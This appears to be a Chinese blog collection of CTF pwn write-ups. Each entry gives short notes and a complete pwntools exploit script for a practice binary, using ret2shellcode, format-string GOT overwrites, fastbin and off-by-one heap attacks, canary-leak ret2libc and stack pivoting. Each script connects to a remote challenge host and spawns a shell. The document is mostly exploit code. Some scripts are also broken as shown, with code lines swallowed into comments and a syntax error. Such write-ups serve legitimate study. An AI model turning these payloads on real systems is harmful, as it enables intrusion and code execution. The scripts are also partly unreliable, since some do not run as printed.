大怨种的pwn的wp
阅读原文时间:2023年08月15日阅读:1

0x01 pwnable_echo1

军训几天加暑假的活

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./l3')
elf = ELF('./l3')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25833)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

shellcode = asm('''
    jmp rsp
    ''')

id = 0x6020a0
sl(shellcode)#没开NX,id写跳到栈sl(b'1')
shellcode = asm(shellcraft.sh())#直接binsh

sd(b'a'*0x28)
sl(p64(id)+shellcode)#返回到id,跳到栈,执行shellcode
ia()

0x02 [ZJCTF 2019]Login

输入可疑账号密码报段错误。

发现调用。可以控制的话就有漏洞了。

汇编查看。

继续跟进来源,是 rdi。

返回,rdi就是第一个参数,是v8,v8来自后面函数返回的参数。跟进。

返回的是v2。跟进v2.

在var18.

回到输入密码的函数,进入s。

可以控制,控制为后门函数即可。

这题是浓浓的pwn逆向味道,从漏洞点一直反推,愁啊,什么时候能会啊。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./l3')
elf = ELF('./l3')
#libc = ELF('./libc-2.23.so')
#p = remote('node4.buuoj.cn', 29883)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p,'b *(0x400a4a)')

sl(b'admin')
sl(b'2jctf_pa5sw0rd'+b'\x00'*(0x60-0x18-14)+p64(0x400e88))
#sl(b'2jctf_pa5sw0rd')

ia()

0x03 wustctf2020_closed

0是标准输入,1是标准输出,2是标准错误,还可以有文件。

exec 1>&0就是将标准输出重定向到标准输入也就是没有关闭的地方。还可以exec 1>flag.txt,定向输出到文件中。

参考https://blog.csdn.net/u011630575/article/details/52151995。

0x04 hitcontraining_magicheap

fastbin attack,修改fd申请内存,然后修改magic。注意要对其 7f为size。注意堆题要patch好环境。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./heap')
p = remote('node4.buuoj.cn', 26724)
elf = ELF('./heap')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,content):
    sla(':',b'1')
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':',b'2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':',b'3')
    sla(':',str(idx))

add(0x10,b'6')
add(0x68,b'6')
#add(0x10,b'6')
free(1) #释放到fastbin,进行fastbin attack,具体方式是修改fd为heap指针附近的地址
edit(0,b'\x00'*0x18+p64(0x71)+p64(0x6020a0-0x13))#在heap1写binsh,0x6020ad是刚才定位到的fake heap
add(0x68,b'aaaa')
add(0x68,b'aaaaaa')

#sl(b'4869')
ia()

0x05 axb_2019_fmt32

注意调成i386。

w = elf.got['read']

sla(b'me:',b'a'+p32(w)+b'%8$s')#偏移自己试一下试出来

fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)

第一个参数是参数偏移,就是%i$n的i。

第二个参数,{a:b}是指把a写成b,

第三个参数, write_size = ‘byte’是指单位步长是byte,参数为字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

第四个参数,指的是已经打印了的内容,这里是10是因为0xa=1(payload前面的a)+9(repeater:的长度)。

有点像堆,修改printf的got表为system后,运行printf(buf)时运行system('cat flag'),前面有repeater:所以加分号执行。

借刀杀人(用system)

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

w = elf.got['read']
pr = elf.got['printf']

sla(b'me:',b'a'+p32(w)+b'%8$s')

realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase =  realputs - libc.sym['read']
print(hex(realputs-libcbase))
print(hex(libcbase))

sys = libcbase + libc.sym['system']
#os = libcbase + 0x3a822

payload =b'a'+ fmtstr_payload(8,{pr: sys},write_size = 'byte' ,numbwritten=10)
sl(payload)
sla('\n',b';cat flag')
ia()

单刀直入(用one shot)

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./ax')
elf = ELF('./ax')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 25538)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

w = elf.got['read']
pr = elf.got['printf']

sla(b'me:',b'a'+p32(w)+b'%8$s')

realputs = u32(p.recvuntil('\xf7')[-4:].ljust(4,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase =  realputs - libc.sym['read']
print(hex(realputs-libcbase))
print(hex(libcbase))

sys = libcbase + libc.sym['system']
os = libcbase + 0x3a822

payload =b'a'+ fmtstr_payload(8,{pr: os},write_size = 'byte' ,numbwritten=10)
sl(payload)
#sla('\n',b';cat flag')
ia()

0x06 ciscn_2019_n_3

这道题自己完全想出来了一个思路,参考了网上一个思路。

我的思路是修改前面的打印函数地址,因为我老以为修改释放函数地址不行,实际上他是释放ptr而不是后面的内容,我以为溢出不过去。

那么这个做法是先用打印字符串函数覆盖打印整数函数,进行两层的解引用,得到puts的got值,然后再覆盖打印函数地址为oneshot,完成提权。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']

sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')

sl(b'1')
sl(b'2')
sl(b'2')
sl(b'7')
sl(p32(0x80486de))

sl(b'3')
sl(b'0')

puts = u32(ru('\xf7')[-4:])
print(hex(puts))
base = puts - libc.sym['puts']

print('base is >>> ' ,hex(base), '\n\n\n\n\n\n\n\n\n\n')
os = base + 0x3cbea

sl(b'1')
sl(b'3')
sl(b'2')
sl(b'50')
sl(b'/bin/sh\x00')
sl(b'1')
sl(b'4')
sl(b'2')
sl(b'50')
sl(p32(sys))

sl(b'2')
sl(b'3')
sl(b'2')
sl(b'4')

sl(b'1')
sl(b'5')
sl(b'2')
sl(b'12')
sl(p32(os))

ia()

'''
0x3cbea execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3cbec execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3cbf0 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3cbf7 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x6729f execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x672a0 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x13573e execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x13573f execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL
'''

泄露基地址特写,由此我们可以为所欲为了。

修改del函数的地址,修改成system,执行free(ptr)实际上是system(ptr),再把ptr刚好也覆盖一下为sh就行。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('3')
elf = ELF('3')
libc = ELF('./libc-2.27.so')
p = remote('node4.buuoj.cn', 29921)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

sys = elf.plt['system']
fget = elf.plt['fgets']
free = elf.plt['free']
pg = elf.got['puts']

sl(b'1')
sl(b'0')
sl(b'1')
sl(str(pg))
sl(b'1')
sl(b'1')
sl(b'1')
sl(str(pg))
#申请两个
sl(b'2')
sl(b'0')
sl(b'2')
sl(b'1')

sl(b'1')
sl(b'2')
sl(b'2')
sl(b'12')
sl(b'sh\x00\x00'+p32(sys))

sl(b'2')
sl(b'0')

ia()

0x07 others_babystack

开了canary,利用puts泄露canary,打ret2libc。但是要注意调试,栈有变化。(此题是独立做出,从这次开始会标注独立做出来的题目)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./bs')
elf = ELF('./bs')
libc = ELF('./libc-2.23.so')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

putsplt = elf.plt['puts']
mainplt = 0x400908
putsgot = elf.got['puts']
ret = 0x040067e
rdiadd = 0x0400a93

if args.G:
    gdb.attach(p)
if args.P:
    p = remote('node4.buuoj.cn', 25456)
can = 0
sa('>>',b'1')
sl(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa')
leakc = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabrenlissbrenl2ssbrenl3ssaaaaaaaa'
print('-------------\n-------------\nleak payload is here >>>>  ',hex(len(leakc)),'\n-------------\n-------------')
sa('>>',b'2')

can = u64(b'\x00'+ru(b'\n')[-9:-2])
can = u64(b'\x00'+ru(b'\n')[-9:-2])
print('-------------\n-------------\ncannary is here >>>>  ',hex(can),'\n-------------\n-------------')

sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(putsgot) + p64(ret) + p64(putsplt) + p64(mainplt))

sl(b'3')

rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
rp =uu64(ru(b'\n')[:-1])
ru(b'\n>> ')
rp =u64(ru(b'\x7f').ljust(8,b'\x00'))
print('-------------\n-------------\nputsgot is here >>>>  ',hex(rp),'\n-------------\n-------------')
libcbase = rp - libc.sym['puts']
sys = libcbase + libc.sym['system']
binsh = libcbase + 0x18cd57

sla('>>',b'1')
sl(b'a'*0x88+ p64(can) + p64(rdiadd)*2 + p64(binsh) + p64(ret) + p64(sys) + p64(mainplt))
sl(b'3')
print('pwned!go ahead')

ia()

0x07 pwnable_start

独立做出。

两段汇编代码,泄露栈地址以及ret2shellcode。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./start')
elf = ELF('./start')
#libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 26356)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p,'b start')

rdi = 0x00000000004006b3
readplt = 0x4004c0
mainplt = 0x8048470
write = 0x8048340
w = 0x0804A018
sh = asm('''
    push   0x68732f
    push   0x6e69622f
    mov ebx,esp
    push 0xb
    pop eax
    xor ecx, ecx
    xor edx, edx
    int 0x80
    ''')

sd(b'a'*20+p32(0x8048087))
s = u32(ru(b'\x00')[-6:-2])
print('s is >>> ', hex(s))
print('lensh is >>> ', len(sh))
sd(b'a'*20+p32(s-4+24)+sh)

ia()

0x08 babyfengshui_33c3_2016

2023.7.18

本题目的关键在于找到绕过控制输入长度的方式,这个程序检测是否溢出是看堆加上输入长度是否到达存放name的堆,那么只需要把两个分开就可以绕过。

要记入堆攻击那些事儿,泄露方式还有打印堆

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./shui')
p = remote('node4.buuoj.cn', 25443)
elf = ELF('./shui')
libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size,name,rsize,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(0))
    sla(':',str(size))
    sla(':',(name))
    sla(':',str(rsize))
    sla(':',content)

def edit(idx, content):
    sla(':','3')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','1')
    sla(':',str(idx))

def dump(idx):
    sla(':','2')
    sla(':',str(idx))

add(0x89,b'aa',0x89,b'aaaaaaaa')#0
add(0x89,b'aa',0x89,b'aaaaaaaa')#1
add(0x89,b'aa',0x89,b'aaaaaaaa')#2
add(0x89,b'aa',0x89,b'/bin/sh\x00')#3
free(0)#分割开free(2)#分开
freegot = elf.got['free']
add(0x110,b'a'*0x10,0x200,b'a'*0x100+b'8'*0x10+p32(0x118)+p32(0x91)+b'a'*0x88+p32(0)+p32(0x89)+p32(freegot)+b'freegot\x00')#4,覆盖1为freegot
dump(1)#泄露rfree = u32(ru(b'\xf7')[-4:])
print('rfree is >>>',hex(rfree))#获得基地址base = rfree - libc.sym['free']
print('base is >>>',hex(base))
os = base+0x3a819
sys = base+libc.sym['system']#覆盖free为system

edit(1,p32(sys))
free(3)#执行system('/bin/sh')
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

ia()

此题os试了是不行的。

0x09 hws2023夏令营选拔赛 fmt

2023.7.16

泄漏libcbase

调整one shot

发现rdx本来就是0,不用使用gadget的代码进行赋值,所以跳过,达到rdi rdx都是0的效果。

使用oneshot,一发入魂。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')  

p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('./libc.so.6')
#p = remote('60.204.140.184', 30090)  

n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))  

if args.G:
gdb.attach(p,'b *$rebase(0x13aa)')  

sla(b'str: ',b'%8$p-%1$p-%14$p')#调试出各个参数  

realputs = int(ru('-')[:-1],16)#泄露got表
piebase = int(ru('-')[:-1],16)-0x2013#泄露pie基地址(没啥用,因为开了FULLRELRO)
ret = int(ru('\n')[:-1],16)+8#泄露返回地址
#realputs = int(ru('\n')[:-1],16)  

print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))
print(hex(piebase))
print(hex(ret))
x = libc.sym['_IO_file_jumps']
print(hex(x))
libcbase = realputs - x#计算基地址
print(hex(realputs-libcbase))
print(hex(libcbase))  

#w = elf.got['read']+piebase#没用的,因为不能改got表
pr = elf.got['printf']+piebase  

#sys = libcbase + libc.sym['system']
os = libcbase + 0xe3afe+3#跳过修改rdx,因为rdx本来就是0
print('pr is >>> ',hex(pr))
print('os is >>> ',hex(os))
print('ret is >>> ',hex(ret))
payload = fmtstr_payload(6,{ret: os},write_size='short')#因为限制长度80,所以用short方式修改
#payload = b'%20c%6$hhn'+p64(ret)
print('paylen is >>>',len(payload))
sla('str: ',payload)
ia()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL  

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL  

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

0x0a gyctf_2020_borrowstack

栈迁移同时注意使用多个ret滑栈,防止返回main过程覆盖got表。使用oneshot一发入魂!

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./borrow')
elf = ELF('./borrow')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 27585)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

lv = 0x400699
bss = 0x601080
puts = elf.plt['puts']
putsg = elf.got['puts']
rdi =0x0000000000400703
ret = 0x4004c9

sd(b'a'*0x60+p64(bss)+p64(lv))
sd(p64(ret)*28+p64(rdi) +p64(putsg)+p64(puts)+p64(elf.sym['main']))
rputs = ru('\n')
rputs = ru('\n')
rputs = uu64(ru('\n')[:-1])

print('rputs is >>> ',hex(rputs))
base = rputs-libc.sym['puts']
print('base is >>> ',hex(base))
os = base+0x45216

sd(b'a'*0x60+p64(bss)+p64(os))
sd(b'a'*0x60+p64(bss)+p64(lv))
ia()
'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
-----

0x0b hitcontraining_heapcreator

这是buu的pwn第二页最后一题,终于搞定了。

今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。

一开始不知道off-by-one(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)

意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。

但是我一开始打的是unsorted bin attack来泄露地址……有点笨了,所以前面有一些没用的代码。

我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。

卡了我一晚上,最后换了11的库patch上才好了。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')

setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25102)
evgdb()

def add(size,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sa(':',content)

def free(idx):
    sla(':','4')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))

add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet('add')
addr = tet('add')
addr = get64('add')
base = getbase(addr, 'write',0x2cd7c8)

edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)

add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet('add')
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')

os = base+0xf1147
sys = symoff('system',base)

edit(1,p64(sys))

free(0)
ia()

魔刀千刃的特写

诞生之日:2023.7.29

魔刀千刃(evilblade)

好!

0x0c ciscn_2019_s_9

此题给了jmp esp,但是溢出空间不够,所以考虑写退回esp前0x24来执行shellcode,需要自己写一下长度不要超过32,我这儿长度21.不知道还有没有更短的?

魔刀千刃Evilblade


from pwn import *
from evilblade import *

context(os='linux', arch='i386', log_level='debug')

setup('./s9')
#libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27084)
evgdb('b *0x8048550')

shellcode = asm('''
        push 0xb
        pop eax
        push   0x68732f
        push   0x6e69622f
        mov ebx,esp
        xor ecx,ecx
        xor edx,edx
        int 0x80
        ''')

s0 = asm('''
         nop
         nop
         nop
         nop
        ''')

s1 = asm('''
         mov ebx,esp
         sub ebx,0x24
         jmp ebx
         nop
        ''')

dp('shelllen',len(shellcode))
dp('s0len',len(s0))
dp('s1len',len(s1))
sl(shellcode.ljust(32,b'a')+s0+p32(0x8048551)+s1)

ia()

0x0d DASCTF 2023 & 0X401七月暑期挑战赛 viphouse

2023.7.23的凌晨一点五十。昨天一天打比赛,没有做出来但是密码飞飞飞。晚上和出题人讨论了好多,id叫T1d是个很不错的师傅。

我也没想到这个要打那么久,buu的下一题octf2017 easyheap还没做,也没啥思路,pwn真的是太奇妙了。

早点睡觉,起床收拾东西去机场,飞国防科大咯!

详细的写在exp注释了。

爆破的思路很精妙,就是多一个字节这个。以及高版本栈没有pop rdi,还有尝试直接puts也是不错的选择。这个exp应该会经常复用。

善于观察,看交叉引用。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./a')
libset('libc.so.6')
rsetup('124.223.159.125',9999)

sla('option:',b'1')
sla('name:',b'admin\x00')
sla('word:',b'root\x00')
guess = ''
#爆破,由于统计比较成功个数的int i 在v2也就是输入内容的下一个字节
#所以如果第一个比较成功会变成\x01,两个比较成功变成\x02,以此类推
#由此可以爆破出来src,比较成功
for i in range(0,8):
    for j in range(0,256):
            if(i==0):
                    temp = chr(j)
                    sl(b'4')
                    sl(temp*16)
                    rev = ru('input:')
                    rev = tet('name')
                    print('_______>>>>>>>..')
                    for byte in rev:
                          print(f"\\x{byte:02X}", end="")
            else:
                if(i == 7):
                    temp = chr(j)
                    sl(b'4')
                    sl(guess+temp*(16-i))
                    rev = ru('guess:')
                    print('_______>>>>>>>..')
                    print(rev)

                else:
                    temp = chr(j)
                    sl(b'4')
                    sl(guess+temp*(16-i))
                    rev = ru('input:')
                    rev = tet('name')
                    print('_______>>>>>>>..')
                    for byte in rev:
                        print(f"\\x{byte:02X}", end="")

            if bytes([i+1]) in rev and j != i+1 and j!= i+2 or b'gift' in rev and i==7:
                    if(i==7):
                        temp = chr(ord(temp)-1)
                    guess += temp
                    dp('guess',guess)
                    dp('guess len',len(guess))
                    formatted_string = ''.join([f"\\x{ord(char):02X}" for char in guess])
                    print('__________________>>>>',formatted_string)
                    break

sla('option:',b'4')
sl(guess)
#得到src后泄露canary,可以栈溢出
gift = tet('tet')
gift = tet('gift')
ru('!')
gift = geti('gift')

rdi = 0x401cb6
main = 0x401ae9
#由于高版本没有pop rdi,0x401cb6有一个控制rdi的片段
evgdb('b *0x401Ac3')
sl(b'5')
sl(b'1')
sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)+p64(pltadd('puts'))+p64(main))
#上面这里非预期地泄露了_IO_file_jumps的地址,得到基地址

add = getx64('add',-23,-17)
base = getbase(add,'_IO_file_jumps')
rbp = 0x000000000040139d

sl(b'3')
sl(b'1')
sl(p64(base+0x1d8698))
#这里在dest写入binsh的地址,配合0x401cb6使用
sl(b'3')
sl(b'5')
sl(b'1')

sla('name:',b'admin\x00')
sla('word:',b'a'*0x40+p64(gift)+p64(rdi)*2+p64(symoff('system',base))+p64(main))
#控制参数为'/bin/sh',调用system
print('pwned!go ahead')
ia()